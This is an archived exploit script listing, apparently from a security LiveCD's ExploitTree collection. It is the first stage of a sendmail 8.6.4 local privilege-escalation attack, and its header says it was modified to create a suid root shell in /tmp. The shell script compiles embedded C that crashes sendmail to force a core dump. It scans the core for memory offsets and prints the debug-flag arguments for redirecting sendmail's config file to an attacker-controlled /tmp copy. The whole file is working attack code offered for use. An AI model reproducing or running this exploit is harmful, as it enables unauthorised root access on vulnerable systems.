home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / setid1.sh < prev    next >
Text File  |  2005-02-12  |  2KB  |  105 lines

  1. # Modified to create a suid root shell in /tmp
  2. # this has been tested on Sendmamil 8.6.4 but
  3. # is assumed to work on other versions. 
  4.  
  5. # calculate the parameters needed for a given sendmail
  6. # program to change config file from "/etc/sendmail.cf"
  7. # to "/tmp/sendmail.cf"
  8.  
  9. # location of a readable sendmail program
  10. SENDMAIL=/usr/lib/sendmail
  11.  
  12. TEMP=/tmp/.ab$$
  13. mkdir $TEMP
  14. cp $SENDMAIL $TEMP/sm
  15. cd $TEMP
  16. chmod 700 ./sm
  17.  
  18. cat > calc.c << _EOF_
  19.  
  20. #include <fcntl.h>
  21.  
  22. gencore()
  23. {
  24.   int pid;
  25.   int fd[2];
  26.  
  27.   if(pipe(fd) < 0) {
  28.     perror("pipe");
  29.     exit(1);
  30.     return(0);
  31.   }
  32.   pid = fork();
  33.   if(!pid) {
  34.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  35.     dup2(f, 1); dup2(fd[0], 0);
  36.     close(f); close(fd[1]); close(fd[0]);
  37.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  38.     perror("exec");
  39.     exit(0); 
  40.   } else {
  41.     sleep(2);
  42.     kill(pid, 11);
  43.   }
  44.   close(fd[0]);
  45.   close(fd[1]);  
  46. }
  47.  
  48. main(argc,argv)
  49. char **argv;
  50. int argc;
  51. {
  52.   unsigned int ConfFile,tTdvect,off;
  53.   
  54.   gencore();
  55.   tTdvect = find("ZZZZZZZZ", "core");
  56.   ConfFile = find("/nau/local/lib/mail/aliases", "core");
  57.   if(!tTdvect || !ConfFile) {
  58.     printf("Not found!\n");
  59.     return(0);
  60.   }
  61.   off = ConfFile - tTdvect;
  62.   printf("sendmail -d%u.%d,%u.%d,%u.%d\n", 
  63.                off+1, 't', off+2, 'm', off+3, 'p');
  64. }
  65.  
  66. int find(pattern, file)
  67. char *pattern,*file;
  68. {
  69.   int fd;
  70.   int i, addr;
  71.   char c;
  72.  
  73. /*  printf("find %s: ", pattern);  */
  74.   fd = open(file, 0);
  75.  
  76. /*  assume file exists
  77.   if(fd < 0) {
  78.     printf("file %s not found\n", file);
  79.     return(0);
  80.   }
  81. */
  82.   i = 0;
  83.   addr = 0;
  84.   while(read(fd, &c, 1) == 1) {
  85.     if(pattern[i] == c)
  86.       i++;
  87.     else
  88.       i=0;
  89.     if(pattern[i] == '\0') {
  90.       addr -= strlen(pattern);
  91.       printf("%x (%d)\n", addr, addr);
  92.       return(addr);
  93.     }
  94.     addr++;
  95.   }
  96.   printf("Not Found!\n");
  97.   return(0);
  98. }
  99. _EOF_
  100.  
  101. cc calc.c -o calc
  102. ./calc
  103. cd
  104. rm -rf $TEMP
  105. #                    www.hack.co.za              [2000]#